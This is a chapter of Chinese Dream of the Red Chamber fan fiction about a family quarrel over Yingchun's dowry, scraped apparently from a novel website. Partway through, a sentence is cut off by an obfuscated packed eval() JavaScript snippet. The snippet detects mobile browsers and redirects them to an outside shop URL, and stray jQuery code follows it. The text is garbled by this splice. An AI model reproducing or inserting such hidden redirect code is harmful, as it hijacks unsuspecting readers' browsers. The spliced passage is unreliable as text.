100.嫁妆
作品:《[红楼]我穿成薛蟠了!》 王夫人这话才一说出,刑夫人就跟着“呸”了一声。
虽然有些粗俗,但到底解气。
迎春怎么也想不到这事儿会掺和到自己的身上来,顿时间气的身子都有些发抖。
王夫人一项包揽府中大小琐事,银钱花销,但凡有一点少了她早嚷嚷出来了。早年间贾府下人里传言,说王夫人油锅里的钱都要揣到自己兜里去的。
甚至还要克扣下人们的工钱去放利子钱,后来王熙凤当家之后,这些传言才淡淡散去了的。现在王夫人赖在迎春头上,不就是因为她是迎春的长辈,她要如何编排,迎春不能轻易去否认吗?
眼看着婚姻大事还被捏在人手中,方才在大厅时,她的婚事差点就被毁了,王夫人是哪儿来的脸说出这样的话呢?
迎春平日里是最忍气吞声的人了,只是这时候她实在不想受这个气。
迎春自问在王夫人面前孝敬,也从没有过悖逆之举,怎么她可以这样张嘴就来,污蔑一个小辈呢?
正在迎春颤抖着听完王夫人的话,就要起身回话时,她的手却被邢夫人拉住了。
迎春眼里满是被气出来的泪水,看着邢夫人严肃的冲着她摇头。邢夫人看见迎春的泪眼时,有一刻钟的恍惚。这是向来叫她为母亲的迎春啊。
邢夫人早知道迎春受奶嬷嬷的气,只是劝过她几句见迎春不改也就罢了。免得叫人说她离间迎春和奶嬷嬷的关系。
谁让她不是亲娘呢,横竖做事都是要被人挑刺的,况且还有一个王夫人时时刻刻盯着她的错处不放。
邢夫人后来自然学会了不做事就不会被挑事。
但现在她却有些后悔,管人家说什么闲话去。迎春是个好姑娘,你待她认真三分,她就还你七分。
就这段时间里她对着迎春稍微好了些,迎春却记住了她的饮食习惯,还有换季间咳嗽的事,亲手给她炖煮了汤药。
这样一个贴心的好女儿,她早年间错过了,如今正在迎春婚嫁的档口,决定迎春下半辈子的重要大事上,她不能再缺席了。
邢夫人猛站起身来,叫贾母吓了一跳,皱着眉,“大太太,你站起来做什么?”
邢夫人平日里最怕贾母严厉问她,只让她觉得自己不懂大家规矩做错了事。但她现在也看懂了,无论在不在理,只要架子摆起来,横竖贾母也不能叫休了她去的。
最严重不过是分家,分家还能让他们大房里过的自在些呢。
“老太太,二太太说这话实在没道理。咱们谁不知道最近府里动银子最大的去向是修园子。”
“为着娘娘省亲,上下大点,修园子,花的钱海了去了。我们大房里只管看着用钱的份,从来也没有怀疑过、过问过二太太。”
“现在甄家来人说前儿才寄存的银子,转眼间,竟然花到我们大房屋里去了,这才叫人觉得好笑呢。”
“横竖我们大房里都是喝金用银的,才将人十万两银子喝掉了!”
邢夫人平日里为着自己续弦的身份,总是挺不直腰杆子,说话做事在贾母面前总是上不了排场。
但那并不是说邢夫人不懂的道理,无非是贾母嫌她粗俗而已。
可粗俗怎么了?粗俗就不让人说话了?不让人讲道理了?
“二太太说,这钱拿给迎春置办嫁妆了,嫁妆呢?东西呢?”
“我是个没福的,没给我们老爷养下一儿半女,但在我心里,琏儿和迎春就都是我的孩子。”
“我进门时,迎春已经落了地,那时起我就叫人给她开始预备了嫁妆。王嬷嬷,把嫁妆单子拿来!”邢夫人往外招呼一声。
王善保家的早听邢夫人的话回去拿了单子过来。
原来邢夫人刚入门时也不是没想过好好过日子,纵使她是续弦,一嫁进来就当了两个孩子的妈,但她也是怀揣着对未来的期许嫁进来的。
也想过好好教导贾琏,养育迎春。只是后来才被贾赦和贾母的态度寒了心,再加上还有一个时时刻刻盯着自己犯错的弟媳妇在,邢夫人只能慢慢把自己养成一个万事不管,只给大老爷纳妾的太太样子。
“紫檀雕花拔步床一张……珍珠璎珞项圈一副、赤金嵌红宝石牡丹头面一套……百子千孙被八床……”
王善保家的念了许久,仔细算来,光邢夫人给迎春准备的嫁妆,从家具衣裳、到首饰头面一应俱全,就连专门埋下的女儿红都有十八坛。
贾母留意算着,邢夫人准备的东西,足足可以填上六十多抬。
等人念完之后,邢夫人才道,“我是后母,但给迎春的嫁妆也是我嫁来那年开始准备的。预备了这么多,就是再有人挑剔我也是不怕的。”
王夫人被邢夫人看了一眼,暗哼了一声,将眼睛撇到一边去。
“我预备了这么些年,自问实际也没有十万两银子之数,我倒不知,二太太给迎春准备的十万两嫁妆在哪儿,若当真这么用心,我倒要为着迎春谢你了!”
见王夫人不答话,邢夫人才狠狠哼了一声坐下。
贾赦也没想到,邢夫人有这样的心思。看见迎春惨白的脸,深叹了一口气,只道自己这个父亲做的不足。
又见贾政和王夫人坐在对面,一副事不关己的模样,贾赦心中的起就不打一处来。
贾赦开口道,“按理说,咱们还没分家,几个姑娘出嫁都是中公出一份,各自房里补贴一份。”
说到分家二字,贾母看着贾赦,一脸的不认同。
贾赦现在可管不了那么多了,眼看着被人欺压到头上来了,老太太也不给个准话,还不是偏心着二房里。要是他拿了这十万两,老太太和贾政早炸了房子了。
贾赦继续道,“大太太准备了这么些,是她作为母亲自己积攒的,她愿意添上,那是她对二姑娘的好。算不到中公去,也算不到我大房里。”
迎春抬起头,看向大老爷。
“我今日已经与卫家商议好,选取了二十六号,看过日子了,是个宜嫁娶的吉日。这嫁妆上,我是大将军爵,迎春的嫁妆怎么说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090479|188744||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也要准备个一百二十六抬。”
“一百二十六抬?!”
“一百二十六?”
贾母和王夫人同时惊呼出声,她们当年出嫁也无非就是这个数了,何况现在府里还不比从前。上哪儿找这一百二十六抬之数?
贾母道,“老大,你再怎么样异想天开,也要想想家里的情况。”
王夫人也酸道,“想是大老爷疼惜女儿,自己也能凑够一百抬。”
贾赦淡定的微微抬眼,“二太太不是说挪了十万两给迎春做嫁妆么,十万两难道还凑不齐一百二十六抬?”
王夫人立时不说话了。
贾赦道,“就算凑不够一百二十六抬,最少也要一百抬。”
“家里还有十几个庄子铺子,我已定下三个庄子三个铺子给迎春,另外家里的古董,首饰,衣料,裘皮,各装三抬,这算作中公的。家具陈设也由中公补上,也免得放在库房里,不知道被什么人搬走去用。加上常用器皿与寝具,这也就有了六十抬之数了。”
贾母皱眉道,“这一应俱全,你全说让中公出,你媳妇出的你又说不作数,那你大房的呢?”
贾赦道,“我自己出资,给迎春五万两压箱银,也算是我这个做父亲的心意了。”
五万两?!
王夫人牙都要咬碎了,她就知道大房里攒的私房钱不少。
她管家累上累下,没什么积攒不说,有点银钱全叫投入家用了。合着是她给别人做嫁衣,大房张口就是五万两陪嫁。王夫人只恨这银子不是自己的。
贾母皱着眉,她原想着几个姑娘出嫁一两万银子打发了也就是了,家里这个情况,实在摆不起来什么排面。
但贾赦精灵,中公上虽然要得齐全,但他要得都是些死物,放在库房里也只有任人变卖的份,还不如给迎春做了嫁妆,好歹看着体面些。
只是三个庄子和三个店铺叫贾母看来有些心疼,这可是实打实能盈利的,现在家里最缺的就是现银周转……
偏偏今日被大房捏住了二房的把柄,否则,贾母是无论如何也不能同意的。
再说那五万两银子,肉疼归肉肉疼,但迎春也是贾母看着长大的,当着孙女的面,贾母也做不出抢孙女钱的事儿来。
思来想去想还是同意了贾赦的主意,横竖贾赦自己留着也是拿去养小老婆的,还不如给了迎春,让她把日子过好些。
见贾母答应下来,王夫人就是急的眼睛再红,也没了法子。
在场上,几个长辈各怀心思,迎春忍住眼眶中的泪不肯掉。
自小她就是府里的透明人,不像宝玉那样祖母宠爱,也不似探春贾环那样有亲娘关心。
所以奶嬷嬷再偷了她的东西去,她也只是一味的原谅,一来是和奶嬷嬷多年感情,她不舍得嚷出去。
二来她也知道就算嚷出去了也没人为她做主,且换来下一个嬷嬷,说不得还不如奶嬷嬷好。
所以她只有隐忍,却没想到,她还有这样的一天。

